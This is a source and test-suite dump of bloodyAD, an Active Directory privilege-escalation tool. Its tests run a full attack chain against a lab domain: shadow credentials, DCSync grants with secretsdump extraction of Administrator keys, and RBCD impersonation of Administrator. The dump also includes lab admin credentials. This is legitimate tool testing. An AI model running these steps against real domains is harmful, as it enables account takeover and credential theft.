-------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["hatchling"] 3 | build-backend = "hatchling.build" 4 | 5 | [tool.hatch.metadata] 6 | allow-direct-references = true 7 | 8 | [project] 9 | name = "bloodyAD" 10 | authors = [ 11 | { name="CravateRouge", email="baptiste@cravaterouge.com" }, 12 | ] 13 | version = "2.1.18" 14 | description = "AD Privesc Swiss Army Knife" 15 | readme = "README.md" 16 | requires-python = ">=3.8" 17 | classifiers = [ 18 | "Programming Language :: Python :: 3", 19 | "License :: OSI Approved :: MIT License", 20 | "Operating System :: OS Independent", 21 | ] 22 | dependencies = [ 23 | "cryptography==44.0.2", 24 | "msldap-bAD>=0.5.22", 25 | "winacl==0.1.9", 26 | "asn1crypto==1.5.1", 27 | "dnspython==2.7.0", 28 | "minikerberos-bAD>=0.4.10" 29 | ] 30 | 31 | [project.urls] 32 | "Homepage" = "https://github.com/CravateRouge/bloodyAD" 33 | "Bug Tracker" = "https://github.com/CravateRouge/bloodyAD/issues" 34 | 35 | [project.scripts] 36 | bloodyAD = "bloodyAD.main:main" 37 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | . 2 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CravateRouge/bloodyAD/1c0f2159865eaa147a474221e09561eee2e1828a/tests/__init__.py -------------------------------------------------------------------------------- /tests/secrets.json: -------------------------------------------------------------------------------- 1 | { 2 | "domain": "bloody.corp", 3 | "pdc":{ 4 | "ip": "192.168.100.3", 5 | "hostname": "main.bloody.corp" 6 | }, 7 | "admin_user":{ 8 | "username":"Administrator", 9 | "password":"Password123!" 10 | } 11 | } -------------------------------------------------------------------------------- /tests/test_authentication.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import subprocess 3 | import os 4 | import sys 5 | import json 6 | from pathlib import Path 7 | from bloodyAD.main import main as bloodyAD_main # Import the main function of bloodyAD 8 | 9 | class TestBloodyADAuthentications(unittest.TestCase): 10 | base_command = "" 11 | get_object_command = "get object Administrator --attr name" 12 | tmp_dir = Path(__file__).parent / "tmp" 13 | crtpass = "P@ssw0rd" 14 | 15 | @staticmethod 16 | def run_subprocess(command, cwd=None): 17 | """ 18 | Helper function to run a subprocess command and return its output and exit code. 19 | """ 20 | result = subprocess.run( 21 | command, 22 | shell=True, 23 | stdout=subprocess.PIPE, 24 | stderr=subprocess.PIPE, 25 | text=True, 26 | cwd=cwd, 27 | ) 28 | if result.returncode != 0: 29 | raise RuntimeError(f"Command failed: {command}\n{result.stderr}") 30 | return result.stdout.strip() 31 | 32 | @classmethod 33 | def setUpClass(cls): 34 | """ 35 | Set up required files and configurations for the tests. 36 | """ 37 | # Create tmp directory 38 | cls.tmp_dir.mkdir(exist_ok=True) 39 | 40 | # Load credentials from secrets.json 41 | secrets_path = Path(__file__).parent / "secrets.json" 42 | with secrets_path.open() as f: 43 | cls.secrets = json.load(f) 44 | 45 | cls.domain = cls.secrets["domain"] 46 | cls.dc_ip = cls.secrets["pdc"]["ip"] 47 | cls.hostname = cls.secrets["pdc"]["hostname"] 48 | cls.admin_user = cls.secrets["admin_user"]["username"] 49 | cls.admin_password = cls.secrets["admin_user"]["password"] 50 | 51 | cls.base_command = f"--host {cls.hostname} --dc-ip {cls.dc_ip} -d {cls.domain} -u {cls.admin_user} -v DEBUG" 52 | 53 | cls.pfx_file = cls.tmp_dir / "test.pfx" 54 | cls.pem_file = cls.tmp_dir / "test.pem" 55 | cls.pem_with_pass = cls.tmp_dir / "test_with_pass.pem" 56 | cls.pfx_with_pass = cls.tmp_dir / "test_with_pass.pfx" 57 | cls.ccache_file = cls.tmp_dir / "test.ccache" 58 | cls.kirbi_file = cls.tmp_dir / "test.kirbi" 59 | cls.keytab_file = cls.tmp_dir / "test.keytab" 60 | 61 | # Generate a PFX file using certipy 62 | certipy_command = ( 63 | f"certipy req -target {cls.dc_ip} -ca bloody-MAIN-CA -template User " 64 | f"-p '{cls.admin_password}' -debug -u '{cls.admin_user}@{cls.domain}' -out {cls.pfx_file.stem}" 65 | ) 66 | try: 67 | cls.run_subprocess(certipy_command, cwd=cls.tmp_dir) 68 | if not cls.pfx_file.exists(): 69 | raise FileNotFoundError(f"PFX file not created: {cls.pfx_file}") 70 | except Exception as e: 71 | raise RuntimeError(f"Failed to generate PFX file. Ensure certipy is installed and configured correctly.\n{e}") 72 | 73 | # Convert the PFX to PEM using OpenSSL 74 | try: 75 | cls.run_subprocess( 76 | f"openssl pkcs12 -in {cls.pfx_file} -out {cls.pem_file} -nodes -passin pass:", 77 | cwd=cls.tmp_dir, 78 | ) 79 | except RuntimeError as e: 80 | raise RuntimeError(f"Failed to convert PFX to PEM. Ensure OpenSSL is installed and configured correctly.\n{e}") 81 | 82 | # Add a password to the PEM file 83 | cls.run_subprocess( 84 | f"openssl rsa -in {cls.pem_file} -out {cls.pem_with_pass} -aes256 -passout pass:{cls.crtpass}", 85 | cwd=cls.tmp_dir, 86 | ) 87 | 88 | # Add a password to the PFX file 89 | cls.run_subprocess( 90 | f"openssl pkcs12 -export -in {cls.pem_file} -out {cls.pfx_with_pass} -passout pass:{cls.crtpass}", 91 | cwd=cls.tmp_dir, 92 | ) 93 | 94 | # Retrieve ccache and kirbi files using minikerberos 95 | cls.run_subprocess( 96 | f"python3 /mnt/hgfs/bloodyAD-dev/minikerberos/minikerberos/examples/getTGT.py " 97 | f"'kerberos+password://{cls.domain}\\{cls.admin_user}:{cls.admin_password}@{cls.dc_ip}' " 98 | f"--ccache {cls.ccache_file} --kirbi {cls.kirbi_file}", 99 | cwd=cls.tmp_dir, 100 | ) 101 | 102 | def run_bloodyAD(self, args): 103 | """ 104 | Helper function to call bloodyAD's argparse directly. 105 | """ 106 | sys.argv = ["bloodyAD.py"] + args.split() 107 | try: 108 | bloodyAD_main() 109 | except SystemExit as e: 110 | if e.code != 0: 111 | print(f"Command failed: {' '.join(sys.argv)}") 112 | raise 113 | 114 | def test_certificate_authentications(self): 115 | """ 116 | Test certificate-based authentications. 117 | """ 118 | cert_commands = [ 119 | f"{self.base_command} -c :{self.pfx_file} {self.get_object_command}", 120 | f"{self.base_command} -c {self.pfx_file} {self.get_object_command}", 121 | f"{self.base_command} -p {self.crtpass} -c {self.pfx_with_pass} {self.get_object_command}", 122 | f"{self.base_command} -c :{self.pem_file} {self.get_object_command}", 123 | f"{self.base_command} -c {self.pem_file} {self.get_object_command}", 124 | ] 125 | for command in cert_commands: 126 | with self.subTest(command=command): 127 | try: 128 | self.run_bloodyAD(command) 129 | except Exception as e: 130 | print(f"Test failed for command: {command}") 131 | raise e 132 | 133 | def test_kerberos_authentications(self): 134 | """ 135 | Test Kerberos-based authentications. 136 | """ 137 | kerberos_commands = [ 138 | f"{self.base_command} -k ccache={self.ccache_file} {self.get_object_command}", 139 | f"{self.base_command} -k kirbi={self.kirbi_file} {self.get_object_command}", 140 | ] 141 | for command in kerberos_commands: 142 | with self.subTest(command=command): 143 | try: 144 | self.run_bloodyAD(command) 145 | except Exception as e: 146 | print(f"Test failed for command: {command}") 147 | raise e 148 | 149 | @classmethod 150 | def tearDownClass(cls): 151 | """ 152 | Clean up generated files if all tests pass. 153 | """ 154 | if not any(error for _, error in getattr(cls, '_outcome', unittest.TestResult()).errors): 155 | for file in cls.tmp_dir.iterdir(): 156 | file.unlink() 157 | cls.tmp_dir.rmdir() 158 | 159 | 160 | if __name__ == "__main__": 161 | unittest.main(failfast=True) -------------------------------------------------------------------------------- /tests/test_functional.py: -------------------------------------------------------------------------------- 1 | import unittest, subprocess, pathlib, json, os, re, binascii 2 | from bloodyAD import md4 3 | 4 | 5 | class TestModules(unittest.TestCase): 6 | @classmethod 7 | def setUpClass(cls): 8 | conf = json.loads((pathlib.Path(__file__).parent / "secrets.json").read_text()) 9 | cls.domain = conf["domain"] 10 | cls.rootDomainNamingContext = ",".join( 11 | ["DC=" + subdomain for subdomain in cls.domain.split(".")] 12 | ) 13 | cls.host = conf["pdc"]["ip"] 14 | cls.hostname = conf["pdc"]["hostname"] 15 | cls.admin = { 16 | "username": conf["admin_user"]["username"], 17 | "password": conf["admin_user"]["password"], 18 | } 19 | cls.toTear = [] 20 | cls.env = os.environ.copy() 21 | cls.bloody_prefix = [ 22 | "python3", 23 | "bloodyAD.py", 24 | "--host", 25 | cls.hostname, 26 | "-d", 27 | cls.domain, 28 | "--dc-ip", 29 | cls.host, 30 | ] 31 | cls.user = {"username": "stan.dard", "password": "Password1123!"} 32 | 33 | def test_01AuthCreateUser(self): 34 | # Add User 35 | self.createUser(self.admin, self.user["username"], self.user["password"]) 36 | username_pass = ["-u", self.user["username"], "-p"] 37 | 38 | cleartext = username_pass + [self.user["password"]] 39 | ntlm = username_pass + [ 40 | f":{md4.MD4(self.user['password'].encode('utf-16le')).hexdigest()}" 41 | ] 42 | 43 | self.launchProcess( 44 | [ 45 | "getTGT.py", 46 | "-dc-ip", 47 | self.host, 48 | f"{self.domain}/{self.admin['username']}:{self.admin['password']}", 49 | ] 50 | ) 51 | self.env["KRB5CCNAME"] = f"{self.admin['username']}.ccache" 52 | krb = ["-k"] 53 | 54 | self.launchProcess( 55 | [ 56 | "certipy", 57 | "req", 58 | "-target", 59 | self.host, 60 | "-ca", 61 | "bloody-MAIN-CA", 62 | "-template", 63 | "User", 64 | "-p", 65 | self.admin["password"], 66 | "-debug", 67 | "-u", 68 | f"{self.admin['username']}@{self.domain}", 69 | "-out", 70 | "bloodytest", 71 | ], 72 | ignoreErr=True, 73 | ) 74 | 75 | self.launchProcess( 76 | [ 77 | "openssl", 78 | "pkcs12", 79 | "-in", 80 | "bloodytest.pfx", 81 | "-out", 82 | "bloodytest.pem", 83 | "-nodes", 84 | "-passin", 85 | "pass:", 86 | ] 87 | ) 88 | cert = ["-c", ":bloodytest.pem"] 89 | 90 | auths = [cleartext, ntlm, krb, cert] 91 | for auth in auths: 92 | for sec_state in ["", "-s "]: 93 | self.launchProcess( 94 | self.bloody_prefix 95 | + auth 96 | + ( 97 | sec_state + "get object Administrator --attr sAMAccountName" 98 | ).split(" ") 99 | ) 100 | 101 | def test_02SearchAndGetChildAndGetWritable(self): 102 | self.launchBloody( 103 | self.user, 104 | ["get", "children", "--target", "OU=Domain Controllers,DC=bloody,DC=corp"], 105 | ) 106 | 107 | self.launchBloody( 108 | self.user, 109 | [ 110 | "get", 111 | "search", 112 | "--filter", 113 | "(cn=Administrator)", 114 | "--attr", 115 | "description", 116 | ], 117 | ) 118 | 119 | writableAll = self.launchBloody(self.user, ["get", "writable"]) 120 | writableUserWrite = self.launchBloody( 121 | self.user, ["get", "writable", "--otype", "USER", "--right", "WRITE"] 122 | ) 123 | self.assertIn(writableUserWrite, writableAll) 124 | 125 | self.assertRegex( 126 | self.launchBloody(self.user, ["get", "membership", self.user["username"]]), 127 | "Domain Users", 128 | ) 129 | self.assertRegex( 130 | self.launchBloody( 131 | self.user, ["get", "membership", self.user["username"], "--no-recurse"] 132 | ), 133 | "No direct group membership", 134 | ) 135 | 136 | def test_03UacOwnerGenericShadowGroupPasswordDCSync(self): 137 | slave = {"username": "slave", "password": "Password1243!"} 138 | # Tries another OU 139 | ou = "CN=FOREIGNSECURITYPRINCIPALS," + self.rootDomainNamingContext 140 | self.createUser(self.admin, slave["username"], slave["password"], ou=ou) 141 | self.launchBloody( 142 | slave, 143 | [ 144 | "get", 145 | "object", 146 | f"CN={slave['username']},{ou}", 147 | "--attr", 148 | "distinguishedName", 149 | ], 150 | ) 151 | 152 | # GenericAll 153 | self.launchBloody( 154 | self.admin, 155 | ["add", "genericAll", slave["username"], self.user["username"]], 156 | ) 157 | self.toTear.append( 158 | ( 159 | self.removeGenericAll, 160 | self.user, 161 | self.user["username"], 162 | slave["username"], 163 | ) 164 | ) 165 | 166 | # SetUAC 167 | self.launchBloody( 168 | self.user, ["add", "uac", slave["username"], "-f", "DONT_REQ_PREAUTH"] 169 | ) 170 | self.assertRegex( 171 | self.launchBloody( 172 | self.user, 173 | [ 174 | "get", 175 | "object", 176 | slave["username"], 177 | "--attr", 178 | "UserAccountControl", 179 | ], 180 | ), 181 | "DONT_REQ_PREAUTH", 182 | ) 183 | self.launchBloody( 184 | self.user, 185 | ["remove", "uac", slave["username"], "-f", "DONT_REQ_PREAUTH"], 186 | ) 187 | 188 | # SetOwner 189 | self.launchBloody( 190 | self.user, ["set", "owner", slave["username"], self.user["username"]] 191 | ) 192 | self.assertRegex( 193 | self.launchBloody( 194 | self.user, 195 | [ 196 | "get", 197 | "object", 198 | slave["username"], 199 | "--attr", 200 | "ntSecurityDescriptor", 201 | "--resolve-sd", 202 | ], 203 | doPrint=False, 204 | ), 205 | f'Owner: {self.user["username"]}', 206 | ) 207 | 208 | # Shadow 209 | outfile1 = "shado_cred" 210 | out_shado1 = self.launchBloody( 211 | self.user, 212 | ["add", "shadowCredentials", slave["username"], "--path", outfile1], 213 | ) 214 | outfile2 = "shado_cred2" 215 | self.launchBloody( 216 | self.user, 217 | ["add", "shadowCredentials", slave["username"], "--path", outfile2], 218 | ) 219 | id_shado1 = re.search("sha256 of RSA key: (.+)", out_shado1).group(1) 220 | 221 | self.launchBloody( 222 | self.user, 223 | ["remove", "shadowCredentials", slave["username"], "--key", id_shado1], 224 | ) 225 | 226 | self.launchBloody(self.user, ["remove", "shadowCredentials", slave["username"]]) 227 | # Delete the files with '.ccache' extension 228 | for file in [outfile1, outfile2]: 229 | ccache_file = f"{file}.ccache" 230 | if os.path.exists(ccache_file): 231 | os.remove(ccache_file) 232 | # Group 233 | self.launchBloody( 234 | self.admin, ["add", "genericAll", "IIS_IUSRS", self.user["username"]] 235 | ) 236 | self.launchBloody( 237 | self.user, ["add", "groupMember", "IIS_IUSRS", slave["username"]] 238 | ) 239 | self.launchBloody( 240 | self.user, ["remove", "groupMember", "IIS_IUSRS", slave["username"]] 241 | ) 242 | 243 | # Password 244 | self.launchBloody( 245 | slave, 246 | [ 247 | "set", 248 | "password", 249 | slave["username"], 250 | "Password124!", 251 | "--oldpass", 252 | slave["password"], 253 | ], 254 | ) 255 | self.launchBloody( 256 | self.user, ["set", "password", slave["username"], slave["password"]] 257 | ) 258 | 259 | # DCsync 260 | self.launchBloody( 261 | self.admin, 262 | ["add", "genericAll", self.rootDomainNamingContext, self.user["username"]], 263 | ) 264 | self.launchBloody(self.user, ["add", "dcsync", slave["username"]]) 265 | self.assertRegex( 266 | self.launchProcess( 267 | [ 268 | "secretsdump.py", 269 | "-just-dc-user", 270 | "BLOODY/Administrator", 271 | f"{self.domain}/{slave['username']}:{slave['password']}@{self.host}", 272 | ] 273 | ), 274 | "Kerberos keys grabbed", 275 | ) 276 | self.launchBloody(self.user, ["remove", "dcsync", slave["username"]]) 277 | self.assertNotRegex( 278 | self.launchProcess( 279 | [ 280 | "secretsdump.py", 281 | "-just-dc-user", 282 | "BLOODY/Administrator", 283 | f"{self.domain}/{slave['username']}:{slave['password']}@{self.host}", 284 | ] 285 | ), 286 | "Kerberos keys grabbed", 287 | ) 288 | self.launchBloody( 289 | self.admin, 290 | [ 291 | "remove", 292 | "genericAll", 293 | self.rootDomainNamingContext, 294 | self.user["username"], 295 | ], 296 | ) 297 | 298 | def test_04ComputerRbcdGetSetAttribute(self): 299 | hostname = "test_pc" 300 | self.launchBloody( 301 | self.user, 302 | [ 303 | "add", 304 | "computer", 305 | hostname, 306 | "Password1234!", 307 | "--ou", 308 | "CN=COMPUTERS," + self.rootDomainNamingContext, 309 | ], 310 | ) 311 | self.toTear.append( 312 | (self.launchBloody, self.admin, ["remove", "object", hostname + "$"]) 313 | ) 314 | 315 | hostname2 = "test_pc2" 316 | hostname2_pass = "Password1235!" 317 | self.launchBloody(self.user, ["add", "computer", hostname2, hostname2_pass]) 318 | self.toTear.append( 319 | (self.launchBloody, self.admin, ["remove", "object", hostname2 + "$"]) 320 | ) 321 | self.launchBloody(self.user, ["add", "rbcd", hostname + "$", hostname2 + "$"]) 322 | 323 | hostname3 = "test_pc3" 324 | self.launchBloody(self.user, ["add", "computer", hostname3, "Password1236!"]) 325 | self.toTear.append( 326 | (self.launchBloody, self.admin, ["remove", "object", hostname3 + "$"]) 327 | ) 328 | self.launchBloody(self.user, ["add", "rbcd", hostname + "$", hostname3 + "$"]) 329 | 330 | # Test if rbcd correctly removed and doesn't remove all rbcd rights 331 | self.launchBloody( 332 | self.user, ["remove", "rbcd", hostname + "$", hostname3 + "$"] 333 | ) 334 | self.assertNotRegex( 335 | self.launchBloody( 336 | self.user, 337 | [ 338 | "get", 339 | "object", 340 | hostname + "$", 341 | "--resolve-sd", 342 | "--attr", 343 | "msDS-AllowedToActOnBehalfOfOtherIdentity", 344 | ], 345 | ), 346 | hostname3 + "$", 347 | ) 348 | 349 | del self.env["KRB5CCNAME"] 350 | self.assertRegex( 351 | self.launchProcess( 352 | [ 353 | "getST.py", 354 | "-spn", 355 | f"HOST/{hostname}", 356 | "-impersonate", 357 | "Administrator", 358 | "-dc-ip", 359 | self.host, 360 | f"{self.domain}/{hostname2}$:{hostname2_pass}", 361 | ], 362 | False, 363 | ), 364 | "Saving ticket in", 365 | ) 366 | 367 | # SetAttr 368 | self.launchBloody( 369 | self.admin, 370 | ["add", "genericAll", hostname + "$", self.user["username"]], 371 | ) 372 | self.launchBloody( 373 | self.user, 374 | [ 375 | "set", 376 | "object", 377 | hostname + "$", 378 | "servicePrincipalName", 379 | "-v", 380 | "TOTO/my.local.domain", 381 | "-v", 382 | "TATA/imaginary.unicorn", 383 | ], 384 | ) 385 | 386 | def test_05ComputerRbcdGetSetAttribute(self): 387 | managedPassword_raw = "01000000240200001000120114021c024dafdec827d690c71f64bd4d88a8351d23bdfa8eca206fc57d63450908c698f46a4902523d11614839b95e522c59bc78ae43ee869c25678052f4eca85010842b9c0e2e3c1d462cd839eaa83709e01452171218577e68cad4de9576c4a94b47da96f6a56c15bfa1a0a02769e6663c6bef47601d3079e3514d0a01e642a33c9bf4d5266e355d4511f421359d767355b8557363653d3adfe7b6950c1e443171c8b1b55249421bc1379e94abefcdd955ed2f1d6689f1b1095ef6e73fdbc853c4fe9c5dd3e0dc5ff51989ed2770d06b28f8cd2b92a61721e002b636e1eef1a53488b168af5b97081e3b75a4393a4b2ff614e3ae5ebeddde044bad2c5afe65b257f63a0000d22a8a7805c89cf00f66f3751c5167fa9066161ed146cb100465b56b5cb8719fc3b4ff5c0dc4f552824562eb7de0564bf1e2a2f542ed69a0de456dfdffcad0127ba1c3e9466ea8947737271cac6390167a590c2b6de8e72fe9d2b7d65a39f7419d29f8f248e988cc58a2451df60fa3d585c8828ff873fa19b07efea628a42a53b3e8cc8796035976760456d464a2ea817e14afd04a1e8ec0ec50df80381dbc1e3385297b0034f3a883b5ca5e515d21241b4e2c00bcf62c05ca52a58494fec4f0c7a06ebcfd865879a0bc57567fd3035d8207b2227c8c42fe5550dc96605726cb9c7c8acdfb638e57402e741d563aea4f7ff702416287a5903f379ca0c4eaa37c0000143b80910310000014ddafde02100000" 388 | managedPassword_nthash = "95f2a1e85bae294a9a3d8b32dffee725" 389 | 390 | managedPassword_raw = binascii.unhexlify(managedPassword_raw.encode()) 391 | from bloodyAD.formatters.cryptography import MSDS_MANAGEDPASSWORD_BLOB 392 | 393 | managedPassword_blob = MSDS_MANAGEDPASSWORD_BLOB(managedPassword_raw) 394 | self.assertEqual(managedPassword_blob.getData(), managedPassword_raw) 395 | self.assertEqual(managedPassword_blob.toNtHash(), managedPassword_nthash) 396 | 397 | def test_06AddRemoveGetDnsRecord(self): 398 | self.launchBloody( 399 | self.user, 400 | [ 401 | "add", 402 | "dnsRecord", 403 | "test.domain", 404 | "8.8.8.8", 405 | "--dnstype", 406 | "A", 407 | "--ttl", 408 | "50", 409 | ], 410 | ) 411 | 412 | self.assertRegex( 413 | self.launchBloody( 414 | self.user, 415 | ["get", "dnsDump", "--zone", self.domain], 416 | ), 417 | "test.domain", 418 | ) 419 | 420 | self.launchBloody( 421 | self.user, 422 | ["remove", "dnsRecord", "test.domain", "8.8.8.8", "--ttl", "50"], 423 | ) 424 | 425 | self.assertNotRegex( 426 | self.launchBloody( 427 | self.user, 428 | ["get", "dnsDump", "--zone", self.domain], 429 | ), 430 | "test.domain", 431 | ) 432 | 433 | def createUser(self, creds, usr, pwd, ou=None): 434 | args = ["add", "user", usr, pwd] 435 | if ou: 436 | args += ["--ou", ou] 437 | self.launchBloody(creds, args) 438 | self.toTear.append((self.launchBloody, creds, ["remove", "object", usr])) 439 | 440 | def removeGenericAll(self, creds, identity, target): 441 | self.launchBloody(creds, ["remove", "genericAll", target, identity]) 442 | self.assertNotRegex( 443 | self.launchBloody( 444 | creds, 445 | [ 446 | "get", 447 | "object", 448 | target, 449 | "--attr", 450 | "ntSecurityDescriptor", 451 | "--resolve-sd", 452 | ], 453 | doPrint=False, 454 | ), 455 | '"Trustee": "' + identity, 456 | ) 457 | 458 | @classmethod 459 | def tearDownClass(cls): 460 | if not len(cls.toTear): 461 | return 462 | try: 463 | func = cls.toTear.pop() 464 | if len(func) > 1: 465 | func[0](*func[1:]) 466 | else: 467 | func[0]() 468 | except Exception as e: 469 | raise e 470 | finally: 471 | cls.tearDownClass() 472 | 473 | def launchBloody(self, creds, args, isErr=True, doPrint=True): 474 | cmd_creds = ["-u", creds["username"], "-p", creds["password"]] 475 | return self.launchProcess(self.bloody_prefix + cmd_creds + args, isErr, doPrint) 476 | 477 | def launchProcess(self, cmd, isErr=True, doPrint=True, ignoreErr=False): 478 | out, err = subprocess.Popen( 479 | cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE, env=self.env 480 | ).communicate() 481 | out = out.decode() 482 | if not ignoreErr: 483 | self.assertFalse(isErr and err, self.printErr(err.decode(), cmd)) 484 | out += "\n" + err.decode() 485 | if doPrint: 486 | print(out) 487 | return out 488 | 489 | def printErr(self, err, cmd): 490 | err = err.replace("\n", "\n ") 491 | self.err = f"here is the error output ->\n\n {cmd}\n{err}" 492 | return self.err 493 | 494 | 495 | if __name__ == "__main__": 496 | unittest.main(failfast=True) 497 | -------------------------------------------------------------------------------- /tests/unit_test.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | from bloodyAD import asciitree 3 | 4 | 5 | class UnitTests(unittest.TestCase): 6 | def test_01TreeDisplay(self): 7 | trust_dict = trust_dict = { 8 | "child.bloody.lab": { 9 | "bloody.lab": { 10 | "distinguishedName": ( 11 | "CN=bloody.lab,CN=System,DC=child,DC=bloody,DC=lab" 12 | ), 13 | "trustDirection": [b"3"], 14 | "trustPartner": [b"bloody.lab"], 15 | "trustType": [b"2"], 16 | "trustAttributes": [b"32"], 17 | } 18 | }, 19 | "cousin.corp": { 20 | "bloody.lab": { 21 | "distinguishedName": "CN=bloody.lab,CN=System,DC=cousin,DC=corp", 22 | "trustDirection": [b"3"], 23 | "trustPartner": [b"bloody.lab"], 24 | "trustType": [b"2"], 25 | "trustAttributes": [b"32"], 26 | } 27 | }, 28 | "stranger.lab": { 29 | "bloody.lab": { 30 | "distinguishedName": "CN=bloody.lab,CN=System,DC=stranger,DC=lab", 31 | "trustDirection": [b"3"], 32 | "trustPartner": [b"bloody.lab"], 33 | "trustType": [b"2"], 34 | "trustAttributes": [b"8"], 35 | }, 36 | "cousin.corp": { 37 | "distinguishedName": "CN=cousin.corp,CN=System,DC=bloody,DC=lab", 38 | "trustDirection": [b"1"], 39 | "trustPartner": [b"cousin.corp"], 40 | "trustType": [b"2"], 41 | "trustAttributes": [b"32"], 42 | }, 43 | "business.corp": { 44 | "distinguishedName": "CN=business.corp,CN=System,DC=bloody,DC=lab", 45 | "trustDirection": [b"1"], 46 | "trustPartner": [b"business.corp"], 47 | "trustType": [b"2"], 48 | "trustAttributes": [b"32"], 49 | }, 50 | }, 51 | "bloody.lab": { 52 | "child.bloody.lab": { 53 | "distinguishedName": ( 54 | "CN=child.bloody.lab,CN=System,DC=bloody,DC=lab" 55 | ), 56 | "trustDirection": [b"3"], 57 | "trustPartner": [b"child.bloody.lab"], 58 | "trustType": [b"2"], 59 | "trustAttributes": [b"32"], 60 | }, 61 | "cousin.corp": { 62 | "distinguishedName": "CN=cousin.corp,CN=System,DC=bloody,DC=lab", 63 | "trustDirection": [b"3"], 64 | "trustPartner": [b"cousin.corp"], 65 | "trustType": [b"2"], 66 | "trustAttributes": [b"0"], 67 | }, 68 | "stranger.lab": { 69 | "distinguishedName": "CN=stranger.lab,CN=System,DC=bloody,DC=lab", 70 | "trustDirection": [b"3"], 71 | "trustPartner": [b"stranger.lab"], 72 | "trustType": [b"2"], 73 | "trustAttributes": [b"8"], 74 | }, 75 | }, 76 | } 77 | trust_root_domain = "bloody.lab" 78 | tree = {} 79 | asciitree.branchFactory({":" + trust_root_domain: tree}, [], trust_dict) 80 | tree_printer = asciitree.LeftAligned() 81 | print(tree_printer({trust_root_domain: tree})) 82 | --------------------------------------------------------------------------------